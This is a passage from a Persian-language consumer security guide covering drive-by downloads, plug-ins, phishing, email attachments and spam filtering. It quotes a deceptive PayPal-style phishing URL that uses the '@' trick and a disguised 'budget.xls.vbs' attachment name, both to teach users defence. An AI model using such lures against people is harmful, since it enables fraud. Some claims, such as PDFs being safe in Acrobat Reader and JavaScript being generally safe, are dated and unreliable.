هنگامیکه *شبکهٔ گستردهٔ جهانی*[56] راه‌اندازی شد صفحات وبی ایجاد شدند که شامل متنها و تصاویر بودند. اکنون این صفحات شامل محتویات بیشتری هستند، مثل برنامه‌های پویایی که روی ماشین شما download شده و اجرا می‌گردند (Javascript، Java، و ActiveX). اگر به مرورگر خود اجازه دهید این برنامه‌ها را بدون بررسی قابلیت اطمینان پایگاه وب مورد نظر اجرا کند، ممکن است برخی از موارد را برخلاف آنچه که باید، اجرا نماید. برنامهٔ Javascript بطور کلی ایمن است، اما Java و ActiveX می‌توانند بسیار خطرناک باشند. معمولاً می‌توان مرورگرها را طوری تنظیم کرد که به این برنامه‌ها اجازه اجرا ندهند و یا قبل از اجرای آنها از کاربر اجازه بگیرند.

Plug-inها و Add-onها

مرورگرهای وب و بسیاری برنامه‌های دیگر (مثل *پردازشگرهای کلمه*[57] و *صفحات گسترده*[58]) به برخی از برنامه‌ها اجازهٔ اجرا شدن

56 World-Wide Web
57 Word Processors
58 Spreadsheets

بخش دوم

از داخل برنامهٔ اصلی را می‌دهند. نمونهٔ رایج آن برنامهٔ "Adobe Acrobat Reader" است که به شما اجازه می‌دهد هنگام مرور وب، فایلهای PDF را مشاهده کنید. هنگامیکه plug-inها یا add-onها نصب می‌شوند می‌توانند هر کاری که برنامهٔ اصلی انجام می‌دهد – مانند خواندن از دیسک و نوشتن روی آن یا استفاده از ارتباط شبکه – را انجام دهند، و لذا تنها باید زمانی نصب شوند و مورد استفاده قرار بگیرند که مبدأ بطور کامل مورد اطمینان باشد.

حفره‌های امنیتی

حفره‌های امنیتی اشکالاتی در بخشهایی از سیستم‌عامل یا دیگر اجزای سیستم هستند که به مهاجم اجازهٔ دسترسی به اطلاعات موجود در سیستم یا کنترل آنرا می‌دهند. در سالهای اخیر اکثر تولیدکنندگان نرم‌افزار با سرعت قابل قبولی به مشکلات امنیتی که در سیستمهایشان کشف می‌شود پاسخ می‌دهند. بنابراین اگر بصورت منظم وصله‌های امنیتی را روی سیستم خود اعمال کنید می‌توانید قبل از انتشار گستردهٔ اشکالات، راههای نفوذ را بر مهاجمان ببندید.

اشتراک فایلها[۵۹]

به‌اشتراک‌گذاری فایل در اشکال مختلف در همهٔ سیستم‌عاملها وجود دارد. اشتراک فایل در میان کارمندان یک شرکت کار بسیار مفیدی است. اگر چندین دستگاه مختلف دارید، اشتراک فایل میان آنها یک قابلیت بسیار مورد نیاز خواهد بود. با این وجود اگر از روش اشتراک فایل از طریق اینترنت استفاده می‌کنید و سیاست امنیتی مناسبی برای اینکار (مثل استفاده از نام کاربری و رمز عبور مناسب و محدود بودن امتیاز نوشتن و به‌روزرسانی) ندارید، آنگاه هر مهاجمی در دنیا هم خواهد توانست فایلهای شما را به اشتراک بگذارد. علاوه بر این اگر به دیگران اجازه دهید که روی دیسکهای شما امکان نوشتن داشته باشند، آنگاه مهاجم خواهد توانست رایانهٔ شما را به شکل دلخواه خود تنظیم کند.

هدایت بوسیلهٔ downloadها[۶۰]

"هدایت بوسیله downloadها" زمانی رخ می‌دهد که به یک پایگاه وب مراجعه می‌کنید و برنامه HTML موجود در صفحه بصورت خودکار یک برنامهٔ Java یا ActiveX را درخواست می‌کند و آن برنامه نیز یک برنامهٔ دیگر را download می‌نماید، آنرا اجرا می‌نماید، یا طوری برنامه‌ریزی می‌کند که در آینده بتواند آنرا به اجرا در آورد. همچنین کد HTML می‌تواند وارد نامهٔ الکترونیکی گردد. اگر به برنامه‌های Java یا ActiveX بدون اینکه از شما اجازه بگیرند و یا حتی به شما اطلاع دهند اجازهٔ نصب کردن برنامه داده باشید، آنگاه خواهند توانست download شوند و هرچه را که می‌خواهند نصب نمایند.

بی‌اعتمادی به نرم‌افزارهای مسروقه

مفهوم نرم‌افزار تجاری مسروقه مفهوم تازه‌ای نیست. چندین سال است که دیسکهای فشردهٔ جعلی فروخته می‌شوند و نسخه‌های اینترنتی آنها – که Warez نامیده می‌شوند – نیز رایج هستند. از مدتها پیش این سوء ظن وجود داشته که این دیسکهای فشرده می‌توانند حاوی ویروس باشند، اما احتمال بیشتری که وجود دارد این است که این نوع نرم‌افزار ممکن است تعمداً حاوی وصله‌ای باشد که یک فرد غیر مجاز را قادر می‌سازد که از طریق اینترنت به رایانهٔ شما دسترسی پیدا کند. از آنجا که نصب اغلب نرم‌افزارها به امتیاز دسترسی راهبری نیاز دارد، این روش فرصت مناسبی برای نصب شدن برنامه‌هایی که شما آنها را درخواست نکرده‌اید فراهم می‌آورد.

عملکردهای پنهان نرم‌افزارهای سالم

اگرچه ممکن است اکثر نرم‌افزارهایی که download می‌کنید سالم باشند، اما احتمال زیادی وجود دارد که نرم‌افزار download شده (مخصوصاً نرم‌افزارهای رایگان) برنامه‌های دیگری را روی دستگاه شما نصب نماید. برنامه‌های *اشتراک متقابل فایلها*[۶۱] بسیار مستعد چنین وضعیتی هستند. این برنامه‌ها معمولاً شامل برنامه‌های دیگری می‌باشند که بسیاری از آنها در نوع برنامه‌های ردیابی و اعمال تغییر در وب طبقه‌بندی می‌شوند و گردش وب شما را نظاره می‌کنند،

59 *File Sharing*

60 *Drive By Downloads*
61 *Peer-to-Peer File Sharing*

انواع تبلیغات را به نمایش درمی‌آورند و فعالیتهای شما را به مدیر خود گزارش می‌نمایند. برخی از این برنامه‌ها دسیسه‌آمیز هستند، بدین صورت که سعی دارند خود را پنهان کنند و تقریباً غیر قابل حذف باشند. چنین برنامه‌ای دارای یک ابزار uninstall است که اگر آنرا اجرا کنید، آن ابزار uninstall را پاک می‌کند، ولی برنامهٔ اصلی هنوز وجود خواهد داشت و به اجرا در خواهد آمد.

بدافزارهای غیرماندگار[۶۲]

همهٔ بدافزارها روی رایانهٔ شما اجرا نمی‌شوند. بسیار رایج شده که این نرم‌افزارها یک نامهٔ الکترونیکی بفرستند و در آن کاربر را به نحوی ترغیب به مشاهدهٔ پایگاه وب مورد نظر خود نمایند. روش سنتی حیله این است که نامهٔ الکترونیکی به شما چیزی پیشنهاد می‌دهد که بدان علاقمند هستید اما هنگامیکه مشغول مشاهدهٔ پایگاه وب معرفی‌شده هستید تعدادی نرم‌افزار مخرب به سیستم شما حمله می‌کنند و شاید نوعی نرم‌افزار را روی سیستم download کرده (مشابه "هدایت بوسیله downloadها") و یا عملیات دیگری انجام دهند.

در روشهای جدیدتر، نامهٔ الکترونیکی ادعا می‌کند که صورتحسابی از eBay (پایگاه وب مزایده در اینترنت) یا PayPal (یک پایگاه وب برای پرداختهای اینترنتی) و یا از طرف بانک شما است. نامهٔ الکترونیکی بسیار مطمئن بنظر می‌رسد و به شما پایگاههای وبی نشان می‌دهد که در آنها می‌توانید شمارهٔ کارت اعتباری خود را تأمین اعتبار نمایید. معمولاً URLهایی که این نامه‌ها معرفی می‌کنند نیز با URLهای معتبر بسیار مشابهت دارد. بعنوان مثال URL واقعی PayPal، آدرس www.paypal.com است، و URLی که در نامه الکترونیکی نمایش داده می‌شود نیز ممکن است دقیقاً همان آدرس باشد. با این وجود آنچه که در صفحه نشان داده می‌شود، URL واقعی نیست که برای دسترسی به آن صفحه مورد استفاده قرار گرفته است. URL واقعی که به آن اشاره شد معمولاً پنهان می‌باشد و ممکن است بصورت زیر باشد:

http://www.paypal.com:user=3245329:transaction=43293:code=4333033.33@218.5.79.162

اگر فردی با ریزه‌کاریهای قالب URL آشنا نباشد تصور می‌کند که این آدرس همان www.paypal.com است و لذا قابل اطمینان می‌باشد، اما در حقیقت نباید کاراکترهایی که قبل از علامت @ قرار گرفته‌اند را درنظر گرفت؛ زیرا این URL به آدرس 218.5.79.162 متصل می‌شود. معمولاً در این پایگاه وب نیز صفحه‌ای مشابه صفحهٔ واقعی PayPal قرار داده شده و از شما می‌خواهد که وارد آن شوید و شمارهٔ کارت اعتباری خود را وارد نمایید. درواقع این پایگاه وب هرگز به PayPal متصل نمی‌شود، بلکه متعلق به فردی است که سعی دارد کارت اعتباری شما و اطلاعات مربوط به آنرا به سرقت ببرد. این حیله‌ها در عمل بسیار موفقیت‌آمیز بوده‌اند. توجه داشته باشید که نامه‌های الکترونیکی مشابه ممکن است نامه‌های سالم و مشروع باشند که واقعاً از طرف PayPal ارسال شده‌اند.

نامهٔ الکترونیکیِ رسمی که برای این منظور ارسال می‌شود معمولاً شامل اطلاعات منحصر به فردی است که از آدرس پست الکترونیکی شما نمی‌توان آنها را بدست آورد؛ اطلاعاتی نظیر نام کامل و یا چهار رقم آخر کارت اعتباری شما. اگر این نامهٔ الکترونیکی شما را به یک پایگاه وب هدایت کند، به شما آدرس آنرا نیز خواهد داد، اما در آن هیچ *ارتباط صفحه وب*[۶۳] وجود ندارد. همچنین صفحات وب مقصد شامل اطلاعاتی هستند که هیچ کلاهبردار یا هرزنامه‌نویسی نمی‌تواند از آن اطلاع داشته‌باشد. اگر بازهم در این مورد تردید داشتید، برای کسب اطمینان بیشتر می‌توانید از طریق تلفن (و نه نامهٔ الکترونیکی) با شرکت مربوطه تماس بگیرید و از اصالت نامهٔ ارسالی مطمئن شوید.

62 *Non-Resident Malware*

63 *Hyperlink*

فصل ششم
امنیت خدمات شبکه

کلیات

پست الکترونیکی و وب از کاربردهای اصلی اینترنت هستند. در این فصل عملکرد این خدمات را بطور جزئی توضیح می‌دهیم و استفادهٔ نامناسب از آنها که باعث ایجاد ناامنی می‌گردد را بررسی می‌کنیم. مواردی مثل ارتباطات بی‌سیم، اشتراک فایلها و قابلیت ارسال پیام فوری از دیگر موضوعات حساس مرتبط با امنیت شبکه هستند که در این فصل به آنها پرداخته خواهد شد.

اصول اولیه

وصله‌های امنیتی را باید بصورت منظم برای نرم‌افزارهای خود به‌روزرسانی کنید. از آنجا که مشکلات امنیتی می‌توانند با روشهای متعددی به شما آسیب برسانند، هنگامیکه به اینترنت متصل می‌شوید احتمال آسیب‌پذیری بیشتر می‌گردد. اگر در سیستم‌عامل یا نرم‌افزار کاربردی شما اشکال امنیتی وجود داشته باشد مطمئن باشید مهاجمین از آن اطلاع دارند و با استفاده از آن روشهایی برای نفوذ به رایانهٔ شما طراحی می‌کنند.

قانون چهارم:
سیستم‌عامل و نرم‌افزارهای کاربردی مهم خود را به‌روزرسانی کنید.

به‌روزرسانی الزاماً به معنای استفاده از آخرین نسخه‌ها نیست. بیشتر شرکتها و توسعه‌دهندگان، اشکالات امنیتی نسخه‌های رایج را برطرف می‌کنند. توجه داشته باشید که این مسئله در مورد نرم‌افزارهای رایگان معمولاً فقط برای آخرین نسخه‌های موجود صادق است. این بدان معناست که اگر می‌خواهید از اشکالات امنیتی مصون بمانید باید بطور منظم نرم‌افزار خود را به آخرین نسخهٔ موجود آن ارتقا دهید.

پست الکترونیکی

سیر تکامل

اگر تاریخچهٔ شبکه را بررسی کنید (۱۰ تا ۳۰ سال گذشته) مشاهده می‌کنید که در ابتدا از پست الکترونیکی تنها برای ارسال پیامهای متنی استفاده می‌شد. اکثر سیستمهایی که از پست الکترونیکی استفاده می‌کردند از روشهای مختلفی برای انتقال فایلها بهره می‌گرفتند. روشهای انتقال فایل تا حدودی نامأنوس بودند و استفاده از آنها سخت بود. البته در اوایل کار که بیشتر کاربران پست الکترونیکی متخصصین فناوری بودند این مسئله چندان مهم نبود، اما هنگامیکه استفاده از آن عموم گسترده‌تری یافت، باید برای استفاده توسط عموم ساده‌تر می‌گشت.

مشکل این بود که پست الکترونیکی اولیه تنها برای انتقال *متنهای ساده*[64] طراحی شده بود و فایلهایی چون برنامه‌های اجرایی در متن خود کاراکترهای غیرچاپی داشتند که در متون ساده قابل نمایش نبودند. راه‌حل پیشنهادی این بود که اطلاعات غیرچاپی بگونه‌ای کدگذاری شوند که بتوان آنها را در متون ساده به نمایش درآورد (جزئیات بیشتر در مورد کدگذاری در ضمیمهٔ ۱ ذکر شده است). در این روش بعد از دریافت پیام، فایل کدگذاری‌شده کدگشایی می‌گردد و به شکل اصلی خود در می‌آید.

بعد از آن مفهوم "ضمیمه" بوجود آمد تا با استفاده از آن بتوان انواع بیشتری از فایلها را کدگذاری نمود. امروزه این روشِ جدید *MIME*[65] نامیده می‌شود. هنگامیکه کاربرد ضمیمه وسعت بیشتری پیدا کرد، برنامه‌های پست الکترونیکی طوری تغییر کردند که بتوانند ضمایم را بطور خودکار باز کنند. بنابراین دریافت‌کنندهٔ پیام می‌توانست آنچه برای وی فرستاده شده است را بدون انجام فعالیت اضافه مشاهده نماید.

در همان زمان شبکه گسترده جهانی نیز مرسوم شد و از HTML برای قالب‌بندی صفحات وب بهره گرفت. HTML تبدیل به یکی از روشهای کدگذاری MIME شد که امکان قالب‌بندی نامه‌های الکترونیکی را فراهم می‌کرد (تغییر فونتها، رنگها، تصاویر، و اشاره‌گرها به صفحات وب). درحال حاضر

64 *Clear Text*
65 *Multipurpose Internet Mail Extensions*

برنامه‌های پست الکترونیکی بصورت خودکار دستورات HTML درون صفحات ارسال‌شده را نیز اجرا می‌کنند.

تأثیر ارتقای پست الکترونیکی

افزوده شدن این قابلیتها (امکانات قالب‌بندی) به برنامه‌های پست الکترونیکی، کاربرد آنها را مفیدتر ساخت. کاربران از آن پس می‌توانستند انواع فایلها را بسادگی تبادل کنند. با استفاده از فونتها، رنگها و تصاویر، نامه شکل مطلوب‌تری پیدا می‌کرد و قالب‌بندی سادهٔ آن بدون نیاز به برنامهٔ پردازشگر کلمات صورت می‌پذیرفت. با این وجود، این ارتقا ابعاد منفی نیز در پی داشت.

همانطور که قبلاً ذکر شد تا قبل از ایجاد این پیشرفتها کسی از طریق پست الکترونیکی تحت تأثیر مستقیم ویروسها و کرمها قرار نمی‌گرفت. همچنین تا زمانیکه برنامهٔ دریافت‌شدهٔ موجود در ضمائم نامهٔ دریافتی را اجرا نمی‌کردید از خطرات امنیتی مصون بودید. اکنون اما برنامه‌هایی که دریافت می‌کنید می‌توانند بصورت خودکار به اجرا درآیند که مفهوم آن این است که این برنامه‌ها خواهند توانست شما را به پایگاه وبی هدایت کنند که در آن اعمال مخربی مثل download نرم‌افزارهای مخرب صورت می‌پذیرد. علاوه بر این، دستورات ویژهٔ HTML می‌توانند مهاجم را به راهبر رایانهٔ شما تبدیل کنند که البته چگونگی آن بستگی به اشکالات موجود در برنامهٔ مفسر دستورات HTML رایانهٔ شما دارد.

پست الکترونیکی گمراه‌کننده است

در بسیاری از مواقع آدرس پست الکترونیکی که جلوی عبارت "فرستنده" قرار می‌گیرد معتبر نیست. این قابلیتی است که هرزنامه‌نویس‌ها آنرا برای سوء استفاده از سیستم شما بکار می‌برند. گاهی اوقات اگر کل *سرآیند*[۶۶] را بررسی کنید ممکن است بتوانید متوجه شوید که این نامه واقعاً از کجا و از سوی چه کسی ارسال شده است.

چگونه می‌توانید از خود محافظت نمایید؟

قانون پنجم:

برنامهٔ پست الکترونیکی خود را طوری پیکربندی نمایید که ضمائم را بصورت خودکار باز نکند.

هر فردی که آدرس پست الکترونیکی شما را بداند یا بتواند آنرا حدس بزند می‌تواند برای شما نامهٔ حاوی ضمیمه ارسال کند. این ضمیمه ممکن است مفید و قابل استفاده و یا ویروس، کرم، یا تراوایی باشد که بتواند آسیبهای جدی به سیستم شما وارد نماید. اکثر برنامه‌های جدید پست الکترونیکی ضمایم را قبل از اجازهٔ شما باز نمی‌کنند، اما اگر برنامهٔ شما بگونه‌ای باشد که آنرا بصورت خودکار باز نماید، باید بتوانید این گزینه را غیرفعال کنید.

قانون ششم:

قبل از باز کردن هر ضمیمه به نام آن دقت کنید تا مطمئن شوید که یک برنامهٔ اجرایی نیست.

نویسندگان ویروس بسیار زیرک هستند. آنها معمولاً ضمایم را با نامهایی چون budget.xls.vbs ارسال می‌کنند. ناظری که نمی‌داند vbs چیست تصور می‌کند یک فایل Excel با نام budget از سوی مایکروسافت برای وی ارسال شده (خصوصاً در حالتی از تنظیمات که سیستم‌عامل پسوندهای شناخته‌شده را به کاربر نمایش نمی‌دهد)؛ اما این فایل در حقیقت یک برنامهٔ اجرایی Visual Basic است که نام آن budget.xls می‌باشد: xls تنها بخشی از نام این فایل است و هیچ ارتباطی با Excel ندارد. در بدترین حالات این برنامه ممکن است بتواند تمامی دیسک سخت سیستم شما را پاک نماید.

قانون هفتم:

هرگز ضمیمه‌ای را که از جانب افراد ناشناس برایتان ارسال شده است باز نکنید؛ مگر اینکه اطمینان داشته باشید که آن نوع فایل نمی‌تواند حاوی کد مخرب باشد.

به خاطر داشته باشید برنامه‌هایی مثل Microsoft Word (پردازشگر کلمات) و Microsoft Excel (صفحه گستردهٔ داده) و تمامی برنامه‌های مشابه، دارای قابلیت استفاده از Macro هستند که می‌تواند حاوی ویروس باشد. حتی فایلهای PDF نیز می‌توانند حاوی قطعه برنامه‌های مخرب باشند (اگرچه این

66 Header

فایلها تنها زمانی می‌توانند خطرناک باشند که با نرم‌افزار کاربردی Adobe Acrobat Professional باز شوند و بازکردن آنها با برنامه‌هایی چون Adobe Acrobat Reader که کاربرد بیشتری میان افراد دارد خطر خاصی در پی نخواهد داشت). با استفاده از راهنمای کاربری و یا صفحات راهنما می‌توانید بررسی کنید که چگونه می‌توان بعضی قابلیتها (خصوصاً آنهایی که در سیستم بندرت مورد استفاده قرار می‌گیرند) را از کار انداخت.

قانون هشتم:

هرگز ضمائم ارسالی از جانب افراد شناخته‌شده و قابل اعتماد را نیز باز نکنید؛ مگر اینکه اطمینان داشته باشید که فرد مورد نظر این ضمائم را بررسی کرده و با ملاحظه کامل برایتان ارسال نموده است.

امکان دارد که ماشین دوست شما ویروسی داشته باشد که بدون اطلاع وی فایلهای آلوده را به همهٔ افرادی که در فهرست آدرسهای وی هستند ارسال نماید.

قانون نهم:

پیکربندی برنامهٔ پست الکترونیکی خود را بررسی کنید تا فایلهای HTML تفننی[67] را پردازش نکند و فایلهای آلوده را به رایانه‌های دیگر ارسال ننماید.

این بدان معناست که ممکن است بعضی از قابلیتهای تزئینی نامه‌های الکترونیکی را از دست بدهید، ولی در عوض کنترل بهتری روی عملکرد برنامهٔ پست الکترونیکی خود بدست آورید. توجه داشته باشید که در برخی از برنامه‌های پست الکترونیکی برای اجرا شدن کد HTML حتی لازم نیست پیامی که حاوی کد HTML است را باز نمایید و به نمایش در آمدن آن پیام در *صفحهٔ پیش‌نمایش*[68] برای اجرا شدن کد کافی است. علیرغم اینکه نامهٔ الکترونیکی می‌تواند حاوی قطعه برنامه‌های HTML باشد اما بسیاری از مرورگرها و برنامه‌های پست الکترونیکی به شما اجازه می‌دهند cookie، Javascript، و plug-in صفحاتی که بعنوان بخشی از نامهٔ الکترونیکی دریافت می‌شوند را غیرفعال نمایید.

67 Fancy HTML
68 Preview Screen

قانون دهم:

از ISP خود سؤال کنید که آیا قبل از ارسال نامه‌های الکترونیکی، آنها را از نظر داشتن ویروس و تهدیدات مشابه بررسی می‌کند یا خیر.

به دلیل افزایش روزافزون فعالیت کرمها و ویروسها اکثر ISPها اینکار را انجام می‌دهند. توجه داشته باشید که نباید توقع داشت که غربال‌سازی ISP شما صد درصد ثمربخش باشد، اما عملکرد پیشگیرانهٔ ISPها می‌تواند به تلاشهای شما در برقراری امنیت کمک کند. اگر ISP شما از مسائل امنیتی آگاه نیست بهتر است برای ارائه خدمات امن‌تر به خودتان و نیز دیگر مشتریان با آنها همکاری کنید. مثلاً می‌توانید یک نسخه از کتابی که هم اکنون مشغول مطالعه آن هستید را بصورت رایگان به آنها هدیه نمایید!

هرزنامه

هرزنامه[69] نامی است که برای نامه‌های الکترونیکی ناخواسته بکار می‌رود، خصوصاً نامه‌های تجاری که از طرف افراد ناشناس و بصورت متعدد – احتمالاً بر اساس این باور که دریافت کننده به محصولات آنها علاقه‌مند خواهد شد – ارسال می‌شوند. در سالهای اخیر تعداد هرزنامه‌ها بطور چشمگیری افزایش یافته است. در سال ۲۰۰۳ بیش از ۵۰٪ از کل نامه‌های الکترونیکی تبادل‌شده در اینترنت هرزنامه بوده است! بسیاری افراد هم‌اکنون به ازای دریافت هر یک نامهٔ معتبر حدود ۱۰ هرزنامه دریافت می‌کنند.

اگر در فیلد "موضوع" هرزنامه‌ها عبارتهایی نظیر "**SPAM**" وجود می‌داشت، آنگاه می‌توانستیم به آسانی تمامی آنها را حذف کنیم. قوانین مصوب قضایی حکم می‌کند که هر نامهٔ الکترونیکی ناخواسته که از سوی شرکتهای تجاری ارسال شود پیگرد قانونی خواهد داشت. با این وجود به دلیل حجم وسیع هرزنامه‌ها و نیز تواناییهای محدود نیروهای انتظامی درحال حاضر اجرای این نوع قوانین چندان عملی نیست. هرکس باید بدون خواندن هرزنامه و یا ارسال اخطار به یک سیستمِ شلوغِ دریافت شکایت، یک روش منطقی برای تشخیص و حذف آن داشته باشد.

69 Spam

آشنایی بیشتر با هرزنامه

برای آشنایی با مشکلاتی که هرزنامه در پی دارد باید سه نکته را درنظر گرفت:

الف) چگونه هرزنامه‌نویس‌ها آدرس شما را بدست می‌آورند.
ب) چه چیزی هرزنامه تلقی می‌شود (با جزئیات دقیق).
ج) چرا نویسندگان هرزنامه، آنها را ارسال می‌کنند.

الف) اگر یکی از فعالیتهای زیر را انجام داده باشید هرزنامه‌نویس‌ها موقعیت بدست آوردن آدرس شما را دارند:

- نامه یا امضای خود را به یک *فهرست آدرس عمومی*[۷۰] ارسال کرده باشید.
- به یک هرزنامه پاسخ داده باشید؛ مثلاً خواسته باشید که از فهرست دریافت‌کنندگان حذف شوید.
- برای *گروه‌های خبری*[۷۱] نامه فرستاده باشید.
- به هر دلیلی در یک فرم وب ثبت نام کرده باشید و آدرس خود را در آن وارد نموده باشید (حتی اگر کاملاً مطمئن باشید که به سازمان معتبری مراجعه نموده‌اید).
- از رایانه‌ای که یک *برنامه شناسایی*[۷۲] روی آن درحال اجرا بوده استفاده کرده باشید (این برنامه شناسایی در بسیاری از سیستمهای UNIX نام کاربری شما را به هر کس که آنرا سؤال کند ارائه می‌دهد).
- به مرورگر اجازه داده باشید آدرس شما را ذخیره کند.
- از نرم‌افزارهای ارسال پیام فوری استفاده کرده باشید.
- آدرس پستی خود را در یک صفحهٔ وب قرار داده باشید؛ یعنی اجازه داده باشید که آدرس پستی شما برای همه قابل مشاهده باشد.
- یک *نام دامنه*[۷۳] برای خود ثبت کرده باشید و یا آدرس خود را در گروه پشتیبانی فنی یک پایگاه وب قرار داده باشید.
- از آدرسهای پستی قابل حدس زدن استفاده کرده باشید.
- آدرس خود را روی یکی از سیستمهایی که قبلاً به آنها نفوذ شده است قرار داده باشید.

اگر هر یک از این موارد در مورد شما صدق کند احتمال زیادی وجود خواهد داشت که آدرس شما مورد سوء استفاده قرار بگیرد و یا حتی به نویسندگان هرزنامه فروخته شود. به عبارت دیگر اگر به هر دلیلی از اینترنت استفاده می‌کنید این امکان وجود دارد که در فهرست دریافت‌کنندگان هرزنامه‌ها قرار بگیرید.

ب) برخی از نامه‌های تجاری به دلیل تعداد زیاد و نامربوط بودنشان کاملاً شناخته‌شده هستند و همه می‌دانند که هرزنامه می‌باشند. در مورد بعضی نامه‌های دیگر این مسئله کمتر آشکار است. در برخی موارد این بستگی به دریافت‌کننده دارد که یک نامهٔ الکترونیکی دریافتی را هرزنامه بداند یا خیر. مثالهای زیر به روشن شدن بیشتر موضوع کمک خواهند کرد:

- آیا یک نامهٔ الکترونیکی که حاوی اطلاعاتی در مورد چگونگی مراقبت از اجزای صورت است یک هرزنامه به شمار می‌رود؟ پاسخ: بله، هرزنامه است؛ مگر اینکه شما جراح پلاستیک باشید و این نامه الکترونیکی یک مقالهٔ دانشگاهی باشد و نه یک آگهی تجاری.
- آیا درخواست مقاله از شما برای یک گردهمایی دانشگاهی با موضوعی مبهم که به چندین فهرست آدرس فرستاده شده یک هرزنامه بشمار می‌رود؟ پاسخ: شاید. مگر اینکه بطور اتفاقی موضوع آن مورد علاقهٔ شما باشد و مایل باشید به آن پاسخ دهید.
- شرکتی که به شما محصولی فروخته و اطلاعاتی را در مورد محصول بعدی خود برای

70 *Public Mailing List*
71 *Newsgroup*
72 *Ident Daemon*

73 *Domain Name*

شما و بسیاری از مشتریهای دیگر ارسال می‌کند، آیا هرزنامه فرستاده‌است؟ پاسخ: خیر. اما برنامهٔ غربال‌ساز هرزنامه در ISP شما ممکن است زمان زیادی را صرف شناسایی این کند که تشخیص دهد چنین نامه‌ای هرزنامه است یا خیر.

- اگر یک نامهٔ الکترونیکی حاوی مطلبی باشد که با تمام تعاریف یک هرزنامه تلقی شود، آیا حتماً هرزنامه است؟ پاسخ: بله؛ اما تنها درصورتیکه اصل آن فرستاده شده باشد. اما مثلاً اگر این نامه از سوی یکی از خوانندگان برای نویسندگان این کتاب فرستاده و در آن مثالهای جالبی در ارتباط با هرزنامه‌ها ذکر شده باشد مطمئناً هرزنامه نیست و نباید غربال شود.

ج) چرا هرزنامه‌نویس‌ها برای افراد هرزنامه ارسال می‌کنند؟ ساده‌ترین جواب: چون اینکار جواب می‌دهد! اگر هرزنامه را مورد بررسی قرار دهید سریعاً متوجه یک الگو در آن می‌شوید. معمولاً هرزنامه‌ها در مورد مسائلی هستند چون بدست آوردن پول یا پس‌انداز آن، ارتقای زندگی عاطفی یا خصوصی، و افزایش سلامتی. این موضوعات یک نقطهٔ مشترک مهم دارند: اغلب ما در مورد این مسائل نگرانیهای جدی داریم و تعدادی از ما نیز توجه بسیار زیادی به آنها می‌کنیم. بنابراین حتی اگر درصد بسیار اندکی از دریافت‌کنندگان، این نامه‌ها را پیگیری کنند (مثلاً چیزی حدود ۱ نامه در میان هر ۱۰۰،۰۰۰ دریافت‌کننده) هرزنامه‌نویس‌هایی که چندین میلیون پیام در روز ارسال می‌کنند می‌توانند پول زیادی از این راه بدست آورند.

با هرزنامه‌ها چه باید کرد؟

روشهای بسیاری وجود دارند که با استفاده از آنها می‌توان هرزنامه را محدود و کنترل کرد. برخی از دولتها در حوزهٔ قضایی خود قوانینی را برای جلوگیری از گسترش هرزنامه تصویب کرده‌اند. اکثر ISPها معتقدند که استفاده از تسهیلات آنها برای فرستادن هرزنامه برخلاف توافقنامه‌های کاری آنها است. تصویب چنین قوانینی می‌تواند مؤثر باشد، اما تاکنون اعمال اکثر قوانین مربوط به هرزنامه‌ها بسیار مشکل و پرهزینه بوده و در بسیاری موارد هیچ راهکار اجرایی برای آن اندیشیده نشده است.

برخی از کاربران عمدهٔ پست الکترونیکی (مانند شرکتها) از پذیرفتن نامه‌های الکترونیکی که از سوی ISPهایی منتشر می‌شود که اجازهٔ فعالیت به هرزنامه‌نویس‌ها را می‌دهند امتناع می‌ورزند. اینکار می‌تواند مؤثر واقع شود، زیرا ISPها را وادار می‌کند که فعالیتهای مرتبط با هرزنامه را متوقف سازند. با این وجود معمولاً این روش به مشتریان بی‌گناهی که تعداد کمی نامهٔ الکترونیکی به مقاصد مختلف ارسال می‌کنند هم آسیب می‌رساند. برنامه‌های زیادی وجود دارند که برای تشخیص هرزنامه، حذف آن و یا هشدار به دریافت‌کننده مبنی بر دریافت یک هرزنامه بکار می‌روند. این برنامه‌ها را می‌توان در پایگاه وب ISP یا *سرویس‌گیرندهٔ پستی*[۷۴] به اجرا در آورد. این برنامه‌ها محتوای نامه و منشاء ارسال آنرا بررسی می‌کنند؛ اما از آنجا که این معیارها به سختی قابل ارزیابی هستند عملکرد این برنامه‌ها نیز معمولاً دارای *تشخیص منفی نادرست* (False Negative) و *تشخیص مثبت نادرست* (False Positive) می‌باشد.

False Negative

False Negative زمانی رخ می‌دهد که *برنامهٔ جستجوگر*[۷۵] اعلام می‌کند که یک نامهٔ الکترونیکی هرزنامه نیست، اما در حقیقت هرزنامه است. این بدان معناست که برنامه به هرزنامه اجازه می‌دهد که از غربال عبور کند و به همین دلیل است که گفته می‌شود این برنامه ممکن است ۱۰۰٪ مؤثر نباشد.

False Positive

False Positive بدین معناست که برنامهٔ جستجوگر اظهار می‌کند که برخی از نامه‌های بی‌ضرر هرزنامه هستند. این اتفاق خسارتهای زیادی به بار می‌آورد، بخصوص اگر در اثر این تشخیص، نامهٔ فرستاده‌شده بجای تحویل شدن، حذف گردد. ممکن است با False Positive نامه‌های الکترونیکی عادی و بی‌ضرر از دست بروند و غیرقابل بازیابی شوند.

74 *Mail Client*
75 *Scanning Program*

هدف برنامه‌های جستجوی هرزنامه به حداقل رساندن False Negative و از بین بردن False Positive می‌باشد. متأسفانه کاهش False Negative معمولاً False Positive را افزایش می‌دهد. افرادی که به هر دلیلی نیاز به دریافت نامه‌های الکترونیکی شبیه به هرزنامه دارند ممکن است از این طریق آسیب بینند. آخرین نمونهٔ گزارش‌شدهٔ این اتفاق در مورد یک خبرنامهٔ دانشگاهی بود که در آن در ارتباط با هرزنامه‌ها مطالبی مطرح شده بود. از آنجا که خبرنامه دارای مثالهایی در مورد هرزنامه‌ها بود، توسط جستجوگرها بعنوان یک هرزنامه شناسایی شد و ISPهای متعددی آنرا غربال و حذف نمودند.

